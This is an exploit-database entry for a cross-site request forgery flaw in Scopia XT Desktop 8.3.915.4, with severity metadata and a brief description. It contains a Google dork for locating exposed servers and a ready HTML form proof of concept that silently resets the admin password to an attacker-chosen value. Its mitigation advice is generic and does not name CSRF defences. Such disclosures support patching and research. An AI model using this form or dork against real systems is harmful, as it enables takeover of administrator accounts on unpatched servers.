Scopia XT Desktop 8.3.915.4 - Cross-Site Request Forgery (change admin password)

vendor:

Scopia XT Desktop

by:

v1n1v131r4

7.5

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: Scopia XT Desktop

Affected Version From: 8.3.915.4

Affected Version To: 8.3.915.4

Patch Exists: NO

Related CWE: N/A

CPE: a:avaya:scopia_xt_desktop:8.3.915.4

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro

2020

Scopia XT Desktop 8.3.915.4 – Cross-Site Request Forgery (change admin password)

This exploit allows an attacker to change the admin password of the Scopia XT Desktop 8.3.915.4 software to a predefined value. The exploit is achieved by sending a malicious POST request to the directory_settings.jsp page with the newadminpassword parameter set to a predefined value. This will change the admin password to the predefined value.

Mitigation:

The best way to mitigate this vulnerability is to ensure that all user input is properly validated and sanitized before being used in any application logic.

Source

Exploit-DB raw data:

# Exploit Title: Scopia XT Desktop 8.3.915.4 - Cross-Site Request Forgery (change admin password)
# Google Dork: inurl:scopia+index.jsp
# Date: 2020-09-09
# Exploit Author: v1n1v131r4
# Vendor Homepage: https://avaya.com
# Software Link: https://support.avaya.com/downloads/download-details.action?contentId=C201772012204170_4&productId=P1605
# Version: 8.3.915.4
# Tested on: Windows 10 Pro
# CVE : N/A
# PoC: https://github.com/V1n1v131r4/Exploit-CSRF-on-SCOPIA-XT-Desktop-version-8.3.915.4


# CSRF to change admin password
# The admin password will be changed to "attacker"

<!DOCTYPE html>
<html>
<body>
<form method="POST" action="http://example.org:80/scopia/admin/directory_settings.jsp">
<input type="text" name="JSESSIONID" value="">
<input type="text" name="newadminusername" value="">
<input type="text" name="newadminpassword" value="3B09A36C1C32CF30EB8169F43227957C">
<input type="text" name="newenablext1000meetingpin" value="false">
<input type="text" name="newxt1000meetingpin" value="EB8169F43227957C">
<input type="text" name="checkstatus" value="true">
<input type="submit" value="Send">
</form>
</body>
</html>